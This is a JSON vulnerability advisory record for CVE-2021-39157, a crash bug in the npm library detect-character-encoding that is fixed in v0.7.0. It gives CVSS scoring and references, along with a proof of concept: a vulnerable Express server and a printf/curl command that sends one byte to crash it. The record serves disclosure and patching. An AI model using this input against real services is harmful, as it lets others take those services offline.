{"id":"CVE-2021-39157","aliases":["GHSA-jqfh-8hw5-fqjr"],"url":"https://o3.security/vulnerability/CVE-2021-39157","summary":"Improper Handling of Exceptional Conditions in detect-character-encoding","details":"### Impact\n\nIn detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0).\n\n### CVSS score\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C)\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\nSince detect-character-encoding is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) => {\n  const charsetMatch = detectCharacterEncoding(req.body);\n\n  res.end(charsetMatch.encoding);\n});\n\napp.listen(3000);\n```\n\n`printf \"\\xAA\" | curl --request POST --header \"Content-Type: application/octet-stream\" --data-binary @- http://localhost:3000` crashes the server.","published":"2021-08-24T19:15:32.127Z","modified":"2026-07-09T10:52:04.669097Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.02068,"percentile":0.79687,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"detect-character-encoding","fixedVersion":"0.7.0"}],"fix":{"url":"https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a","label":"sonicdoe/detect-character-encoding@992a110"},"references":[{"type":"FIX","url":"https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a"},{"type":"EVIDENCE","url":"https://github.com/sonicdoe/detect-character-encoding/issues/15"},{"type":"EVIDENCE","url":"https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39157"},{"type":"PACKAGE","url":"https://github.com/sonicdoe/detect-character-encoding"},{"type":"WEB","url":"https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T10:52:04.669097Z"}}